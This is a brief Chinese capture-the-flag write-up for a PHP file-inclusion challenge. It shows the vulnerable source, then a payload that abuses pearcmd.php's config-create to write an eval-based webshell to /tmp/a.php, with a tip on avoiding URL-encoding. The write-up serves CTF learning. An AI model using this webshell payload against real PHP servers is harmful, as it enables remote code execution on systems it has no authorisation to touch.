https://cloud.tencent.com/developer/article/2204400
关于PHP 配置 register_argc_argv 小结 的一些研究文章。
应用例题
[NewStarCTF 2023 公开赛道]Include 🍐
<?phperror_reporting(0);if(isset($_GET['file'])) {$file = $_GET['file'];if(preg_match('/flag|log|session|filter|input|data/i', $file)) {die('hacker!');}include($file.".php");# Something in phpinfo.php!}else {highlight_file(__FILE__);}
?>
查看phpinfo.php 尝试搜索flag ,让查看
register_argc_argv
通过搜索,发现是关于pearcmd.php
的信息。
https://cloud.tencent.com/developer/article/2204400 关于PHP 配置 register_argc_argv 小结 的一些研究文章。
通过查看帮助,
php pearcmd.php
可以查看该文件的一些使用参数。可以通过config-create 创建一个木马文件,也可以通过从服务器上下载文件的方式利用。
# 创建文件,注意最好通过burp抓包,因为< > 会被url编码,导致木马失效
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[a])?>+/tmp/a.php
成功利用木马
下载文件。这里我就尝试从它自身下载phpinfo。
如图所示,从靶机下载phpinfo,并在响应中返回了保存路径
成功访问下载的phpinfo.php文件